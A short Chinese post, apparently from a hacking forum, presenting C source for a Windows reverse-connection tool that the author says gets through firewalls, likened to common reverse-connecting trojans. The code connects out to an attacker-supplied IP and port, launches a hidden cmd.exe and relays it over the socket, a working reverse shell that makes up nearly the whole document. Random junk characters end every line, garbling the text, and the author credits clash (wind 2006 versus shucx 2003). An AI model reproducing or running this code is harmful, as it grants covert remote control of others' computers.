这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +bWo{
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/* ============================== ;N
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Rebound port in Windows NT 9HlM0qE5b
By wind,2006/7 M IU B]
===============================*/ ;;EFiaA
#include B{V(g"dM
#include %XXjQ5p
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#pragma comment(lib,"wsock32.lib") mx2Ov u
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void OutputShell(); i \ .&8
SOCKET sClient; ^4{{ +G)j
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :1#$p
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void main(int argc,char **argv) W9A F}
{ >R\!Qk
WSADATA stWsaData; 6%&w\<(SG
int nRet; 8%b-.O:_$
SOCKADDR_IN stSaiClient,stSaiServer; z7Z!wIzJ
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if(argc != 3) }7qboUG e
{ \F7NuG:m,
printf("Useage:\n\rRebound DestIP DestPort\n"); xp"F)6
return; H.[(`wi!I
} pJQ_G`E
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WSAStartup(MAKEWORD(2,2),&stWsaData); \T;(k?28HN
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C3C&hq\%
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stSaiClient.sin_family = AF_INET; *
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stSaiClient.sin_port = htons(0); P_
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #5^S@}e
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >5Sm.7}R
{ @^b>S6d"
printf("Bind Socket Failed!\n"); u4[rA2Bf8E
return; YXGxE&!
} 1(Lq9hs`
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stSaiServer.sin_family = AF_INET; +a'nP=e&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =jRC4]M})
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nA+gqY6 6|
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) In}~bNv?
{ ;O({|mpS\
printf("Connect Error!"); BM02k\%
return; =>xyJ->R
} 3+I"Dm,
OutputShell(); ,WS{O6O7
} e~$aJO@B.R
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void OutputShell() 0-Wv$o[
{
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char szBuff[1024]; #-g2p?+i&
SECURITY_ATTRIBUTES stSecurityAttributes; HU-#xK
OSVERSIONINFO stOsversionInfo; ?a~#`<
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u9ue>I/
STARTUPINFO stStartupInfo; FF30VlJ
char *szShell; /I0}(;^y
PROCESS_INFORMATION stProcessInformation; U{3Pk0rZ
unsigned long lBytesRead; ->@iw!5xu
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WAGU|t#."
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); W0# VD e]>
stSecurityAttributes.lpSecurityDescriptor = 0; &t74T"(d
stSecurityAttributes.bInheritHandle = TRUE; D(Q=EdlO
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); zUJPINDb
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~*RBMHs
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V}q=!zz
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;QQ/bM&I
stStartupInfo.wShowWindow = SW_HIDE; H`jvT]
stStartupInfo.hStdInput = hReadPipe; ?L>}(
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bHmn0fZ9
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GetVersionEx(&stOsversionInfo); sq}uq![?M
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switch(stOsversionInfo.dwPlatformId) /#e-x|L
{ bbFzmS1
case 1: j`k:)
szShell = "command.com"; PkDh[i9Z|
break; |`@7G`x
default: bVds23q
szShell = "cmd.exe"; ]bAw>1,NVD
break; -VZ?
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} 8?$XT
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /m+.5Qz9)@
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send(sClient,szMsg,77,0); V(6Ql
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while(1) tQIz
{ kC0^2./p
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !F#^Peb
if(lBytesRead) s^-o_K\*c
{ r%` |kN
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4tFnZ2x
send(sClient,szBuff,lBytesRead,0); 5m
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} EZ)GW%Bm2
else Ly`FU)
{ qUG)+~g`
lBytesRead=recv(sClient,szBuff,1024,0); QQX7p!~E
if(lBytesRead<=0) break; {3\{aZ8)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); a O(&<
} |=s jGf
} b@)nB
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return; Yq-7!
}